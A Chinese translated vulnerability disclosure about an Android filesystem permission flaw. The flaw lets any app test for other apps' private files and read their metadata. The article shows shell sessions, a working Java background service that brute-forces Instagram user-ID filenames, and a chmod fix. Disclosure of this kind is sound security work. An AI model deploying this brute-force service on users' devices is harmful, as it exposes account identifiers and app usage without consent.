前言
下面要介紹的惡意軟件可以讀取Android手機中其他app的文件元數據,例如文件的名稱、大小、以及最后修改日期等等。如果文件名中含有敏感信息的標識,那么這款惡意app會將這份文件識別為敏感文件,并且還可以對其進行暴力破解攻擊。除此之外,它還可以通過分析其他app私有文件的大小和最后修改日期這兩部分數據,來對其他app的使用情況進行實時監控。
實際上,從Android操作系統的誕生之日起,其文件系統中就一直存在著權限問題。當我將該漏洞提交給Google公司之后,Google將這一漏洞歸類為了“低危漏洞”,并且給我提供了五百美元的漏洞獎金。
我寫這篇文章的目的只是為了拋磚引玉,希望能給大家提供一個關于處理Android安全問題的思路。
問題分析
Android App的私有數據默認會保存在“/data/data/
Android端的Youtube應用程序會將其私有數據保存在目錄“/data/data/com.google.android.youtube/”之下。現在,讓我們從根目錄開始分析一下整個文件系統中各個文件的權限:
/data/drwxrwx--x system system 2015-11-30 20:30data
/data/data/drwxrwx--x system system 2015-11-29 15:34data
/data/data/com.google.android.youtube
drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube
/data/data/com.google.android.youtube/*
drwxrwx--x u0_a77 u0_a77 2015-11-08 18:15app_sslcache
drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54cache
drwxrwx--x u0_a77 u0_a77 2015-11-29 13:06 databases
drwxrwx--x u0_a77 u0_a77 2015-11-12 12:10files
lrwxrwxrwx install install 2015-11-29 11:02lib -> /data/app-lib/com.google.android.youtube-1
drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54shared_prefs
我們可以從上面這部分信息中看到,在整個目錄結構中,每一個文件目錄都給設備用戶提供了完整的執行權限(+x)。
而我們也知道,所謂的執行權限,就是允許設備用戶可以直接運行目標文件的權限。如果將該權限賦予了某一文件目錄的話,也就意味著用戶只要知道文件夾下具體的文件名,可以直接通過文件名來訪問該目錄下的文件內容和元數據。但此時還無法直接進入文件夾,以及訪問該目錄下的文件數據,因為這樣的操作將需要相應的讀取權限。
分析結果表明:其他的用戶可以使用“cd”命令來進入這些目錄,但是無法通過“ls”命令來獲取該目錄下的所有文件(沒有讀取權限)。當然了,用戶也無法直接在該目錄下創建新的文件,因為這將需要文件目錄的寫入權限(+w):
u0_a84@mako:/data/data $ ls -la
opendir failed, Permission denied
u0_a84@mako:/data/data $ cd com.google.android.youtube
u0_a84@mako:/data/data/com.google.android.youtube $ ls -la
opendir failed, Permission denied
u0_a84@mako:/data/data/com.google.android.youtube $ cdwrongdir
/system/bin/sh:
u0_a84@mako:/data/data/com.google.android.youtube $ cdshared_prefs
u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la
opendir failed, Permission denied
u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ echo “test” >test.xml
/system/bin/sh:
但是,如上所述,如果我們能夠提前獲取到目標文件的名稱,那么我們就可以列出該文件,并獲取目標文件的元數據了。接下來,我們還是繼續分析Youtube App。在默認情況下,該App會在“/data/data/com.google.android.youtube/” 目錄下的“shared_prefs”文件夾中生成一個名為“youtube.xml”的文件。雖然很多其他的App可以列出這個文件,但是由于權限的問題,所以這些App是無法讀取這份文件的:
u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la youtube.xml
-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml
u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ cat youtube.xml
/system/bin/sh:
正如上面這段信息所示,任何惡意App都可以做到下面這兩件事情:
1. 通過“ls”命令來查看其他App的某些私有文件是否存在于文件系統中,但前提是要知道目標文件的文件名稱;
2. 獲取到這些私有文件的大小和最后修改日期;
這絕對是一個安全漏洞,因為我們可以通過以下兩種不同的方式來利用這個漏洞:
1. 惡意App可以可以通過監視特定的私有文件來實時監控某些App的使用情況。比如說,如果惡意App想要知道Android設備的用戶一般在何時打開Youtube客戶端,那么它就可以定期檢查Youtube客戶端“shared_prefs”目錄下的“youtube.xml”文件,并從獲取到的文件大小和最后修改日期來判斷用戶的使用習慣。因為當用戶打開Youtube客戶端時,這個文件將會被修改。因此,惡意App還可以通過這個漏洞來分析某些應用程序的使用情況。
2. 如果某個合法的App選擇將敏感數據保存在一個文件中,而文件名稱一看就知道是用來存儲敏感數據的話,那么惡意App就可以選擇對該文件進行暴力破解攻擊。比如說,Instagram和Facebook會使用用戶ID(USERID)來標識某些敏感文件。不光是這兩個App,很多其他的App也會采用這樣的方式來處理敏感文件,這種情況我已經見過很多次了。
Instagram:/data/data/com.instagram.android/shared_prefs/
Facebook:/data/data/com.facebook.katana/shared_prefs/XStorage-LATEST-
比如說Instagram,用戶ID標識符(USERID)的范圍在0-2500000000之間,所以惡意App可以通過暴力破解的手段直接在本地發動攻擊。惡意App可以利用下面這段Android代碼來在后臺對用戶標識符進行暴力破解攻擊:
import java.io.File;
import java.math.BigInteger;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.util.Log;
public class MyService extends Service {
@Override
public intonStartCommand(Intent intent, int flags, int startId) {
newThread(new Runnable() {
publicvoid run() {
Log.v("brute", "Bruteforce started");
BigInteger begin = BigInteger.ZERO;
BigInteger end = new BigInteger("2500000000");
String dirPath ="/data/data/com.instagram.android/shared_prefs/";
while(begin.compareTo(end) != 1) {
String filename= begin.toString() + ".xml";
File test = newFile(dirPath,filename);
if(test.exists()) {
Log.v("brute", "Account found: " +begin.toString());
}
begin =begin.add(BigInteger.ONE);
}
Log.v("brute", "Bruteforce ended");
}
}).start();
returnService.START_STICKY;
}
@Override
public IBinderonBind(Intent intent) {
//TODO Auto-generated method stub
returnnull;
}
}
當上面這段代碼所加載的服務被開啟之后,惡意App將會被關閉,在后臺進行暴力破解攻擊的任務就轉交給了這個服務來進行。我們在Nexus4手機上進行了攻擊模擬,我們遍歷了2500000000個可能的文件,總共花費了五天左右的時間,最終成功找到了正確的文件:
當用戶感染了這一惡意軟件之后,攻擊者就可以通過這樣的方式來獲取到用戶的網絡服務ID,進而查找出用戶的賬號。受影響的可能是Facebook、QQ、Youtube、以及微信這樣的社交媒體類App,也有可能是金融類的銀行App。值得注意的是,Instagram還包含有一個ContentProvider(com.instagram.contentprovider.CurrentUserProvider),可以用來查詢用戶注冊賬號的USERID,但是默認情況下Instagram是禁止其他App使用這個ContentProvider的。
但是很明顯,Instagram這樣做的目的肯定不是為了將用戶的敏感數據泄露給其他的App。
這個漏洞是我當初在檢測InstagramApp的時候發現的,如果大家對Instagram客戶端中存在的其他安全問題感興趣的話,歡迎各位同學閱讀這篇文章[傳送門]。
解決方案
這個問題其實也很好解決,我們只需要移除“/data/data/”目錄下App文件夾的執行權限(+x),就可以解決這個問題了,這樣也可以有效地防止攻擊者通過“cd”命令和“ls”命令來獲取文件目錄下的文件基本信息。
修復前的狀態:
u0_a84@mako:/data/data $ cd com.google.android.youtube
u0_a84@mako:/data/data/com.google.android.youtube $ cd ..
u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml
-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml
修復過程:
root@mako:/data/data # ls -la | grep youtube
drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube
root@mako:/data/data # chmod 750com.google.android.youtube
root@mako:/data/data # ls -la | grep youtube
drwxr-x--- u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube
修復后的狀態:
u0_a84@mako:/data/data $ cd com.google.android.youtube
/system/bin/sh:
u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml
com.google.android.youtube/shared_prefs/youtube.xml:Permission denied
* 參考來源:arneswinnen,本文由Alpha_h4ck編譯,轉載請注明來自FreeBuf(Freebuf.COM)